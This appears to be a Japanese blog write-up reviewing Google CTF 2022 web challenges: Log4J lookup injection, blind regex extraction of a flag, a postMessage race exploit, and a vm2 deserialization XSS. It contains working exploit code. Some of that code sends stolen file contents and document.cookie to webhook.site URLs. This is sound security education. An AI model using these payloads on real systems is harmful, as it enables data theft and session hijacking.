Google CTF 2022 Web問の復習(GPU Shop 2以外)
チーム 0x9CB
としてGoogle CTF2022に参加しました。
流石に問題のレベルが高く、(チームとしての参加時間が比較的短かった)のもありましたが、合計で3問しか解けませんでした。
自分はずっとWeb問を悩んでいたのですが、Web問は最初の log4J
のみ解けて1つのみの正解でした。せっかくなので、以降の問題についても、問題が公開されているうちに他の天才方のwriteupを参考にしつつ問いていこうと思います。
Log4J
この問題のみ自力なので、自分の解法で説明します。
問題概要
問題プログラム : https://github.com/google/google-ctf/tree/master/2022/web-log4j
問題文 Talk with the most advanced AI.
テキストボックスとボタンだけが用意されたWebサイトが与えられました。 /wc
や/repeat
といったコマンド等を受け付けるようです。
Writeup
こちらの問題は主に2つのプログラムから成り立っています。
- Javaで記述されたchatbot本体のプログラム
- Pythonで記述されたFlask製のWebサーバのプログラム
Python側からjavaのコードを呼び出し、その標準出力をWebページの出力としています。
また、問題文から明らかにLog4Jが使われているんだろうなと考えます。
Log4Jといえば、CVE-2021-44228によるJNDI lookupを用いた任意コード実行の脆弱性が一昔前に有名になりました。
しかし、依存関係のファイルを確認してみると、 log4j-core
のバージョンは 2.17.2
とかなり新しいものが用いられており、流石にゼロデイを求められているわけではないと思うので、今回は用いれないことがわかります。
最初はJNDIがデフォルトで無効になっているため、Javaの引数に -Dlog4j2.enableJndiLookup=true
を渡そうと試行したものの上手く行きませんでした。
しかし、その過程で仮にフラグを渡せたとしたらと考えローカルでフラグを渡した状態で実験する過程でエラーが標準出力に出てしまうことを発見しました。
(スクリーンショットは別の方法でエラーを発生させたもの)
ここから、方針としてLog4JのLookupの中で例外やWARNINGを出している部分があればそれを利用して出力に含めることができないか?という方向性が固まりました。
Log4JのLookupフォルダを眺めてみると、いくつか使えそうなLookupを発見しました。
- JavaLookup
- ResourceBundleLookup
JavaLookupがお手頃に利用できるでしょう。
ペイロードとして /${java:${env:FLAG}}
を用いてフラグを入手することができました。
Log4J2
問題概要
問題プログラム Log4Jとほとんど同じなため提供なし
問題文 Talk with the mostest advanced AI. Code is ~identical to log4j - see those attachments.
Log4Jの問題に多少の改変がされているようです。Log4Jで利用したペイロード /${java:${env:FLAG}}
を送ると Sensitive information detected in output. Censored for security reasons.
と表示されてしまいます。
しかし、どうやらこれは特定の単語でマッチした場合にのみ表示されているようです。そのため、 Log4Jのエラー出力等を用いなくても/repeat WARN
などと表示しても同様に弾かれてしまいます。
Writeup
他の天才方の議論を観ると %replace
なる表現を使うと置換処理が出来るようです。
%replace{置換元}{パターン(正規表現)}{置換先}
と行った表現で用いることができます。また、Lookupの中にreplaceを用いることはできないようでした。
ここで、ブラインド状態のまま二分探索でフラグを特定することを考えます。そのために、%replace
の結果に応じて出力が変わる、つまりエラーを出しうるようなペイロードを考える必要があります。
ここで、\
があるとLog4Jにとってはエスケープ文字として扱われるようですが、マッチするエスケープ文字がないとエラーになります。
例えば、/%replace{A}{A}{\}
をこの問題ではなくLog4Jの問題に与えると以下のようなエラーを得ます。
つまり、Log4J2問題ではエラーの内容はこうなります。
逆に、マッチしなければエラーは出ないため出力はこうなります。
これを利用して探索することにしてみます。
まず文字列長さを求めてから、あとは正規表現を用いて候補となる文字をそれぞれの文字に対して二分探索します。
import requests
from string import ascii_lowercase,digits
URL="https://log4j2-web.2022.ctfcompetition.com/"
HEADER= {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
def is_censord(text:str)->bool:
print("Sending:" + text)
return "Sensitive information detected in output. Censored for security reasons." \
in requests.post(URL, headers=HEADER, data={"text":text}).text
def replace_payload(pattern:str)->bool:
return "/%replace{${env:FLAG}}{" + pattern + "}{\\}"
# 文字列の長さをさがす
ok = 0
ng = 100
while abs(ok - ng) > 1:
mid = ok + ng >> 1
if is_censord(replace_payload("CTF" + "."*mid)):
ok = mid
else:
ng = mid
print("Flag length:",ok)
# 文字列を探す
S = ascii_lowercase + digits +"-_@#"
result = []
for i in range(ok-2): # 2は{}の分
begin = 0
end = len(S)
while abs(end-begin) > 1:
mid = begin + end >> 1
char_match=f"[{S[begin:mid]}]"
if is_censord(replace_payload("CTF" + "." * (i+1) + char_match +"." * (ok-2-i))):
end = mid
else:
begin = mid
result.append(S[begin:end])
print("current result:", "".join(result))
rs = "".join(result)
print(f"CTF{{{rs}}}")
以下のような中間出力を得てフラグを得ます。
Sending:/%replace{${env:FLAG}}{CTF..................................................}{\}
Sending:/%replace{${env:FLAG}}{CTF.........................}{\}
Sending:/%replace{${env:FLAG}}{CTF.....................................}{\}
Sending:/%replace{${env:FLAG}}{CTF...........................................}{\}
Sending:/%replace{${env:FLAG}}{CTF........................................}{\}
Sending:/%replace{${env:FLAG}}{CTF......................................}{\}
Sending:/%replace{${env:FLAG}}{CTF.......................................}{\}
Flag length: 39
Sending:/%replace{${env:FLAG}}{CTF.[abcdefghijklmnopqrst].....................................}{\}
Sending:/%replace{${env:FLAG}}{CTF.[abcdefghij].....................................}{\}
Sending:/%replace{${env:FLAG}}{CTF.[abcde].....................................}{\}
Sending:/%replace{${env:FLAG}}{CTF.[ab].....................................}{\}
Sending:/%replace{${env:FLAG}}{CTF.[a].....................................}{\}
current result: a
...
Sending:/%replace{${env:FLAG}}{CTF.....................................[abcdefghijklmnopqrst].}{\}
Sending:/%replace{${env:FLAG}}{CTF.....................................[uvwxyz0123].}{\}
Sending:/%replace{${env:FLAG}}{CTF.....................................[uvwxy].}{\}
Sending:/%replace{${env:FLAG}}{CTF.....................................[uv].}{\}
Sending:/%replace{${env:FLAG}}{CTF.....................................[u].}{\}
current result: and-you-thought-it-was-over-didnt-you
CTF{and-you-thought-it-was-over-didnt-you}
1文字ずつ確定させられるので、二分探索しなくても十分少ない数でフラグを得ることができますが、2分探索したほうが圧倒的に早いですね。普段競プロもやっているとこういうのをスパッと書けて良い。
所感・反省
ご丁寧にエラーの場合に出力から消されたことを言ってくれるので、まあおそらくはブラインドで見つけさせるのかなーとまでは考えれたけどLog4Jのドキュメントの読み込みが浅かった。
replace自体のドキュメントも読んでいたが、/${java:%replace{a}{a}{}}
が動作しなかったため(Lookupの中では使えない)諦めてしまった。%repalceを用いて出せるエラーを見つけることができてたら答えまでたどり着けてたかな。
Postviewer
問題概要
問題文: The rumor tells that adm1n stores their secret split into multiple documents. Can you catch 'em all?
添付ファイルがありましたが、ただのREADMEでWebページ上のBotページには想定された脆弱性はないという話と、ボットはただ指定されたWebページを訪れるだけのXSS系のCTFで一般的に利用されるようなボットであるとの説明程度でした。
実際の問題ではWebページのソースから、たどる必要があるものはこちらからみれます。
問題ページを見てみると、ファイルを保存でき、プレビューすることの出来るWebページのようですが保存先はIndexDBです。好きなファイルをアップロードすることができても、所詮はローカルでの話、XSSの材料としてBotに見せることはできません。
解法
この問題の脆弱そうな場所は割と簡単に見つけることができました。
まず、ファイル名が safe-frame.js
です。 CTFでは、本当にsafeなものに safe
という名はついていません(断言)
previewIframe関数では、まずメッセージで送られたコンテンツのみをiframeとして表示するため、messageとして送られてくるbodyを得たら、そのblob URLを生成し、自身のアドレスを換えると共に、 blob loaded
というメッセージを親ページに飛ばすということをしています。
つまり、iframeができたタイミングで、親フレームから送られたbodyを盗み見るようなbodyを送りつけることができれば勝ちです。(実際にはこれが難しいんですが)
何にせよiframeとMessage APIを用いたXSSをしなくてはならないことはわかりました。親ページにメッセージを送れるようにするため今回のPostviewerのサイトを開くWebページを作成します。
x-frame-options: DENY
が指定してあるため、iframeでの埋め込みはできません。 open
関数を用いて開きます。
const target = open("https://postviewer-web.2022.ctfcompetition.com");
setInterval(()=>{
target.postMessage("blob loaded","*")
},100);
例えば、こうすると本来プレビューのiframeから受け取るはずの blob loaded
を親フレームから送ってプレビュー画面を開くことが出来る。
実はwindowオブジェクトは、自身の持っているフレームの数を window.length
で持っており、実は window[0].postMessage
ができてしまいます。
仮に攻撃対象のファイルIDが既知であれば、 プレビュー用iframeを表示させ、window.length
が1になった瞬間、Postviewerページよりも先にiframeにpostMessageすることを考えます。
(親フレームからファイルをプレビューする際に window.length
を見続けるとある瞬間に1になる)
親フレーム側に以下のようなjsを用意し、プレビューを差し替えられるかやってみるものの、PostviewerのほうがpostMessageのタイミングが早く上手く行きません。
window.addEventListener("load",()=>{
const target = open("https://postviewer-web.2022.ctfcompetition.com/#file-d23e8b6d77a3487a33b2ff44aabfa63d44975f85");
const loop = ()=>{
if(target.length == 1){
target[0].postMessage({
body:"<html>Hoge hoge</html>",
mimeType:"text/html"
})
}else{
setTimeout(loop,0);
}
};
setTimeout(loop,0);
});
色々な別解があるとのことですが、どの方もここでPostviewer側のページ処理を遅くするような何らかの処理を行ってレースコンディションで勝つような方法を取っているそうです。では、どうやってPostviewerのページを作為的に遅くさせることが出来るのでしょうか。
著者解を参考にすると、Postviewer側が子フレームからメッセージを受け取ることを想定している部分の比較が ===
ではなく ==
になっていることを利用して文字列化に時間のかかるメッセージを送るという手法が考えられるそうです。
著者解のように、超巨大Uint8ArrayをPostviewerに送りつけ、一瞬フリーズさせます。
この解法は問題サーバのbotでは確かに動作するようですが、自分のローカル環境では数百回に1度程度の成功率でしか成功せず、仮にコンテスト中にここまでたどり着けたとしても、とてもリモートで実行状況の見えないbotに対して正常に動作する解法だと期待できるまでに至れませんでした。
レースコンディションの問題である以上、コンピュータのパワーによっては絶妙なレース状態に勝つことが難しいのかもしれません。
ところで、こちらは作問者の解が公開されています。
上のアドレスを用いると、Postviewerのページを何回か開き、得た内容を以下のページから確認が出来るようになります。しかし、著者解であっても数日試行錯誤してもローカル環境で安定的に再現できなかったため、実際のCTF環境での実用性はおいておいて、OpenSSLで負荷を掛けている状態のローカル環境で実験したところ正常に動作しました。
# めっちゃCPU使わせるコマンド
openssl speed -multi `grep processor /proc/cpuinfo|wc -l`
より現実的な環境で実験するため、Virtual box上のVMに1コアのCPUを割り当てた状態でページを訪れて動作を確認します。1コアなら流石にレースコンディションが成功するかなと考えていたのですが、そうも行きませんでした。そこで、負荷を掛けるためにウィンドウを揺らしてみると、この環境でも上手く行くことがわかりました。
とても安定的とは言えませんが、作問者のWriteupを参考に、IDが既知の場合のコードを書きました。
<html>
<body>
<script>
async function wait(time) {
return new Promise((resolve) => {
setTimeout(() => resolve(), time);
})
}
window.addEventListener("load", () => {
const target = open("about:blank", "hack", "width=800,height=300,top=500");
const exploit = async () => {
target.location = "about:blank"
await wait(1000);
while (true) {
try {
target.origin;
break;
} catch (e) {
await wait(3);
}
}
const HUGE_PAYLOAD = new Uint8Array(1.2e7);
await new Promise((resolve) => {
target.location = "https://postviewer-web.2022.ctfcompetition.com/#file-5411892b4967d781f04b730b59232f114fab44f6";
async function onLoop() {
if (target.length == 1) {
target.postMessage(HUGE_PAYLOAD, "*", [HUGE_PAYLOAD.buffer])
await wait(500);
target[0].postMessage({
body: `<script>onmessage=async (e)=>{
let text = await e.data.body.text();
fetch("https://webhook.site/894619b8-70cf-431d-baef-91077634de63/" + text)
}<\/script>`,
mimeType: "text/html"
}, "*");
await wait(1500);
resolve()
} else {
setTimeout(onLoop, 1);
}
}
onLoop()
})
}
async function attack() {
while (true) {
await exploit();
}
}
attack();
});
</script>
</body>
</html>
ファイルのIDが存在するページを開いた時、通常であれば以下のような順序でフレームは開かれます。
- iframeが作られてプレビューの内容だけを受け取るためだけのスクリプトがiframe内で読まれる
- iframeのloadイベントが発火する
- Postviewerがiframeに
body
とmimeType
をメッセージ経由で渡す - iframeのmessageイベントで自身のlocationに受け取ったbodyから作られるBlob URLを代入する
大きなペイロードを送る等でPostviewerのページが重くなると、ステップ2からステップ3までの間に親フレームからiframeに直接bodyとmimeTypeを送れるだけの間ができるわけです。
この間にbodyを送ることができれば、次にPostviewerが送るプレビューしたい内容を受け取らせることができます。あとは fetch
で適当なWebサイトに受け取ったフラグを転送すればよいわけです。
さて、ここまでは対象のファイルのIDが分かっていることを利用していました。
今回は対象のファイルのIDがわからないため、別の脆弱性を利用してファイルのIDがわからなくても上記の手法が通じるようにする必要があります。
ハッシュを受け取った際に呼ばれるprocessHash
にも脆弱性が存在します。
- ハッシュをそのまま
querySelector
に通しており、成立するクエリなら問題がない - 取得できたfileのDivのnameからファイル名を判断しているため、fileに対応するdivさえ取れればファイル名を知らなくても問題がない
このため、例えば以下のように具体的なファイル名がわからなくともプレビューが開けます。
あとは、 nth-child
などを用いれば順番にファイルを開いていけるわけです。
先程の解を少し改変して以下のようにURLを作るようにすればファイルIDを事前に知ることをせずにプレビューしようとするファイルの中身を抜き出すことができました。
const HOST = "https://postviewer-web.2022.ctfcompetition.com/"
const TARGET_ITEM_INDEX=2;
for(let i=0;i<100;i++){
let random = `a${i}`;
await exploit(HOST+`#${random},.list-group-item:nth-child(${TARGET_ITEM_INDEX})`);
}
1つ目の内容を取ってみると、以下のような内容を得られます。
パスワードが毎回違うので、3つのデータを一回で抜き出さねばならない様子です。レースコンディションを狙うため、場合によっては際どいタイミングを狙う必要があり、本来は5秒で解けるが20秒のタイムアウトが設定されたエンドポイントも実は提供されているようです。
Congratulations on fetching admin's file!
The flag needs to be deciphered with a password that has been split into three random files.
Because the password is random with each run, you will have to
collect all three files. When you do so, just visit: https://postviewer-web.2022.ctfcompetition.com/dec1pher
File info: Cipher: XGUXOUqWSeTJu3q DfSmenE/FeoiB1HemzZLTRaBBYlaWScN8qm1vF4saxv1Zl2B/VD7v/oRrCWsZAzs4
Password part [1/3]: wplo2am5j4g1arlb3l
The challenge is easily solvable under 5 seconds, but as a token of appreciation I set up a secret endpoint for you that have a limit of 20 seconds: https://postviewer-web.2022.ctfcompetition.com/bot?ss333cret_b00t_3ndop1nt
最終的なコード
<html>
<body>
<script>
async function wait(time) {
return new Promise((resolve) => {
setTimeout(() => resolve(), time);
})
}
window.addEventListener("load", async () => {
const target = open("about:blank", "hack", "width=800,height=300,top=500");
const exploit = async (url) => {
target.location = "about:blank"
while (true) {
try {
target.origin;
break;
} catch (e) {
await wait(3);
}
}
const HUGE_PAYLOAD = new Uint8Array(1e7);
await new Promise((resolve) => {
target.location = url;
async function onLoop() {
if (target.length == 1) {
target.postMessage(HUGE_PAYLOAD, "*", [HUGE_PAYLOAD.buffer])
await wait(500);
target[0].postMessage({
body: `<script>onmessage=async (e)=>{
let text = await e.data.body.text();
fetch("https://webhook.site/894619b8-70cf-431d-baef-91077634de63/",{method:'POST',body: text})
}<\/script>`,
mimeType: "text/html"
}, "*");
await wait(1500);
resolve()
} else {
setTimeout(onLoop, 1);
}
}
onLoop()
})
}
const HOST = "https://postviewer-web.2022.ctfcompetition.com/"
for(let i =1; i <= 3; i++){
for(let j=0;j<1;j++){
let random = `a${i}${j}`;
await exploit(HOST+`#${random},.list-group-item:nth-child(${i})`);
}
}
});
</script>
</body>
</html>
所感
Postviewerよりも先にpostMessageを用いてレースコンディションで行けるかも、までの発想はあってもローカル環境である程度再現できないと諦めてしまう気がする。本番中このレースコンディションのシビアな条件を通せた人が10チームもいたことに驚く。
巨大バッファを送る方法は、自分のローカル環境では成功率が安定しなかったが、確かにこのbot環境ではかなりの確率で通せる様子だった。自分の環境では、攻撃対象以外のウィンドウを開いて moveTo
に乱数を渡して動かしまくって負荷をあげる方法と併用すると若干安定してフラグを得ることはできた。
Horkos
この問題は大会中はほとんど考えてなかったので、大会後に色んな人のコメント等を参考にした上で書いている。
問題概要
問題文 : Eat your vegetables.
野菜を買うサイトが与えられ、購入ボタンを押すと領収書のようなものが表示される。
この領収書は vm2
というNode上で動作するSandboxに事前に決められたコードと、入力データを渡して描画される。
botが生成されたページを見てくれそうなので、これもPostviewerに続きXSS系のWeb問題となる。
問題の受け取っている cart
データは実際にインスペクタで見てみると以下のような形になっている。
[{"key":"0","type":"pickledShoppingCart","value":
[{"key":"items","type":"pickledObject","value":
[{"key":"Tomato","type":"pickledItem","value":
[{"key":"price","type":"Number","value":10},{"key":"quantity","type":"String","value":"0"}
]},
{"key":"Pickle","type":"pickledItem","value":
[{"key":"price","type":"Number","value":8},
{"key":"quantity","type":"String","value":"0"}
]},
{"key":"Pineapple","type":"pickledItem","value":
[{"key":"price","type":"Number","value":44},
{"key":"quantity","type":"String","value":"0"}
]
}
]
},
{"key":"address","type":"pickledAddress","value":
[{"key":"street","type":"String","value":""},
{"key":"number","type":"Number","value":0},
{"key":"zip","type":"Number","value":0}
]},
{"key":"shoppingCartId","type":"Number","value":64626335729}]}]
なぜこんなに怪しい形式になっているかというと、フロントエンド側でも、このshoplib.mjsを読んでおり、フロントとバックエンドで同じクラスを用いて単にシリアライズしたかった様子。
シリアライズ等をしている処理は以下に書いてあるが、いかにもこれは怪しい。
解法
パーサ部分を見ていると、pickled
というプレフィックスがついていない場合には、単にglobalThis
に入っている同名の型を作成している。
例えば以下のような入力を与えられるのであれば、Function
を介して関数を生成することが出来る。
実際にHTMLを生成しているところは、<
がエスケープされていてなにか悪さができそうなところがない。
一方、サーバで実行している sendOrder
は async
な関数であるが、サニタイズしていないorderId
をreturnしている。つまり、orderIdにPromiseLikeな値を入れてしまえば、実行させることができてしまう。
orderId
をPromiseLikeにするにはObject型を作り、その中にFunctionを用意する必要がある。
再帰的にパースしてもらわねばならず、そのためにはpicled
がプレフィクスになければならない。しかし、実際にそのクラスが自身が定義したものでなくとも、globalThisに定義されているものも行ってくれる。そのため、以下のようなペイロードを渡すとPromiseLikeなオブジェクトを作ることが出来る。
[{ "key": "0", "type": "pickledShoppingCart", "value":
[{ "key": "items", "type": "pickledObject", "value":
[{ "key": "Tomato", "type": "pickledItem", "value":
[{ "key": "price", "type": "Number", "value": 10 },
{ "key": "quantity", "type": "String", "value": "0" }
] },
{ "key": "Pickle", "type": "pickledItem", "value":
[{ "key": "price", "type": "Number", "value": 8 },
{ "key": "quantity", "type": "String", "value": "0" }
] },
{ "key": "Pineapple", "type": "pickledItem", "value":
[{ "key": "price", "type": "Number", "value": 44 },
{ "key": "quantity", "type": "String", "value": "0" }
] }
]
},
{ "key": "address", "type": "pickledAddress", "value":
[{ "key": "street", "type": "String", "value": "" },
{ "key": "number", "type": "Number", "value": 0 },
{ "key": "zip", "type": "Number", "value": 0 }]
},
{ "key": "shoppingCartId", "type": "pickledObject", "value": [
{"key":"then","type":"Function","value": "arguments[0]('Fake order ID');orders[0][0].value[0]='hogehoge';"}
] }] }
]
このペイロードを用いてCheckoutボタンを押すと、コンソールに以下のように表示される。なお、arguments[0]('Fake orderID')
としているのはresolve
を呼ぶためだ。
PromiseLikeなオブジェクトであるので、resolveするまで永遠に待ち続けてしまう。
返却する値を書き換えることがこれでできたようだ。
しかし、クライアント側で実行させなければbotの持っているであろうフラグを取得することができない。
ここで、オーダーのある一行を描画するコードにも問題がある。
toString()
の前に escapeHtml
を通過しているため、includes
関数を持っているようなObjectを渡してtoString()時にそのままHTMLタグになってしまう。
そこで、キーとして配列を渡しておき、クライアント側でtoStringされた際にスクリプトが実行されるようなコードを作れば良い。
最終的にできた答えを得るコードはこちら。
cart.value=`[{ "key": "0", "type": "pickledShoppingCart", "value":
[{ "key": "items", "type": "pickledObject", "value":
[{ "key": "Tomato", "type": "pickledItem", "value":
[{ "key": "price", "type": "Number", "value": 10 },
{ "key": "quantity", "type": "String", "value": "0" }
] },
{ "key": "Pickle", "type": "pickledItem", "value":
[{ "key": "price", "type": "Number", "value": 8 },
{ "key": "quantity", "type": "String", "value": "0" }
] },
{ "key": "Pineapple", "type": "pickledItem", "value":
[{ "key": "price", "type": "Number", "value": 44 },
{ "key": "quantity", "type": "String", "value": "0" }
] }
]
},
{ "key": "address", "type": "pickledAddress", "value":
[{ "key": "street", "type": "String", "value": "" },
{ "key": "number", "type": "Number", "value": 0 },
{ "key": "zip", "type": "Number", "value": 0 }]
},
{ "key": "shoppingCartId", "type": "pickledObject", "value": [
{"key":"then","type":"Function","value": "arguments[0]('Fake order ID');orders[0][0].value[0].value[0]={key:['<img src=x onerror=fetch(\\"https://webhook.site/60c2069f-8f08-4531-a137-74c2211967f0?\\"+document.cookie)>'],value:[{key:'price',type:'Number',value:44},{key:'quantity',type:'String',value:0}]};"}
] }] }
]`
CHECKOUTボタンを押すと、宛先のWebサイトにボットのCookieが送られることが分かる。
Discussion